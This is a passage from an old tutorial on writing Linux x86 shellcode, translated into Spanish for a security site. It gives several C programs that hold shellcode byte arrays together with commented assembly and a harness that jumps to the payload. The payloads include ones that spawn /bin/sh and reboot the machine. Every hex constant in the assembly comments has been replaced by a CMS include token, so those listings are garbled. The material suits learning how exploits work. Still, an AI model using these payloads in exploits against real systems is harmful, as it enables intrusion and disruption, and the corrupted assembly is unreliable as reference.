* movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x4a, %al
* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
*/
char shellcode[] =
"\x31\xc0\x50\x68\x31\x33\x33\x37"
"\xb1\x04\x89\xe3\xb0\x4a\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
mkdir.c
------------------------------------------------------------------------
/* author: the_swede
* title: mkdir
* description: creates a directory titled "1337".
*/
#include
/*
* xorl %eax, %eax
* pushl %eax
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x37333331
*
* movw {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1ed, %cx
* movl %esp, %ebx
* movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x27, %al
* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
*/
char shellcode[] =
"\x31\xc0\x50\x68\x31\x33\x33\x37"
"\x66\xb9\xed\x01\x89\xe3\xb0\x27"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
reboot.c
------------------------------------------------------------------------
/*
* Author: the_swede
* Title: reboot
* Date: 6/8/03
* Description: reboots Linux.
*/
#include
/*
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xfee1dead
* popl %ebx
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x16041998
* popl %ecx
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x1234567
* xorl %eax, %eax
* popl %edx
* movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x58, %al
* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
*/
char shellcode[] =
"\x68\xad\xde\xe1\xfe\x5b\x68\x98"
"\x19\x04\x16\x59\x68\x67\x45\x23"
"\x01\x31\xc0\x5a\xb0\x58\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
shspawn.c
------------------------------------------------------------------------
/*
* Title: shspawn
* Author: the_swede
* Date: 6/8/03
* Description: shellcode that spawns /bin/sh.
*/
#include
/*
* xorl %edx, %edx
* pushl %edx
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x68732f2f
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6e69622f
*
* movl %esp, %ebx
* pushl %edx
* pushl %ebx
* movl %esp, %ecx
* movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xb, %al
* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
*/
char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
vt.c
------------------------------------------------------------------------
/* author: the_swede
* title: vt
* description: writes "Hello World!" to /dev/tty1.
*/
#include
/*
* xorl %edx, %edx
* xorl %ecx, %ecx
* xorl %ebx, %ebx
*
* xorl %eax, %eax
* pushl %eax
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x31
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x79
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x74742f2f
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x7665642f
*
* movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x2, %cl
* movl %esp, %ebx
* movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x5, %al
* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
*
* movl %eax, %ebx
*
* xorl %eax, %eax
* pushl %eax
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x0a
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x21646c72
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6f57206f
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6c6c6548
*
* movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xd, %dl
* movl %esp, %ecx
* movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x4, %al
* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
*/
char shellcode[] =
"\x31\xd2\x31\xc9\x31\xdb\x31\xc0"
"\x50\x6a\x31\x6a\x79\x68\x2f\x2f"
"\x74\x74\x68\x2f\x64\x65\x76\xb1"
"\x02\x89\xe3\xb0\x05\xcd\x80\x89"
"\xc3\x31\xc0\x50\x6a\x0a\x68\x72"
"\x6c\x64\x21\x68\x6f\x20\x57\x6f"
"\x68\x48\x65\x6c\x6c\xb2\x0d\x89"
"\xe1\xb0\x04\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
write.c
------------------------------------------------------------------------
/* author: the_swede
* title: write
* description: writes "Hello World!"
*/
#include
/*
* xorl %edx, %edx
* xorl %ecx, %ecx
*
* xorl %eax, %eax
* pushl %eax
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x0a
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x21646c72
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6f57206f
* pushl {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x6c6c6548
*
* movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}xd, %dl
* movl %esp, %ecx
* xorl %ebx, %ebx
* movb {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x4, %al
* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
*
* xorl %ebx, %ebx
* movl %ebx, %eax
* incl %eax
* int {jumi [*3] [http://www.govannom.org/seguridad/buf_overf/sc_howto.txt]}x80
*/
char shellcode[] =
"\x31\xd2\x31\xc9\x31\xc0\x50\x6a"
"\x0a\x68\x72\x6c\x64\x21\x68\x6f"
"\x20\x57\x6f\x68\x48\x65\x6c\x6c"
"\xb2\x0d\x89\xe1\x31\xdb\xb0\x04"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80";
int main(void)
{
int * ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------
Thanks to mstevens, ph33r, and mikecc for putting up with my sensless
questions.
Thanks to the_one for looking over my article.
--------------------------------------------------------------------------------
Nota del traductor:
Este texto ha sido traducido para la web http://www.govannom.org
Bueno, pues agradecer a the_swede por escribir este articulo con el que he
aprendido muchisimo y a toda la gente que como el se dedica a escribir o
traducir para que otra gente pueda aprender ;).
(c) New Order / http://neworder.box.sk/
|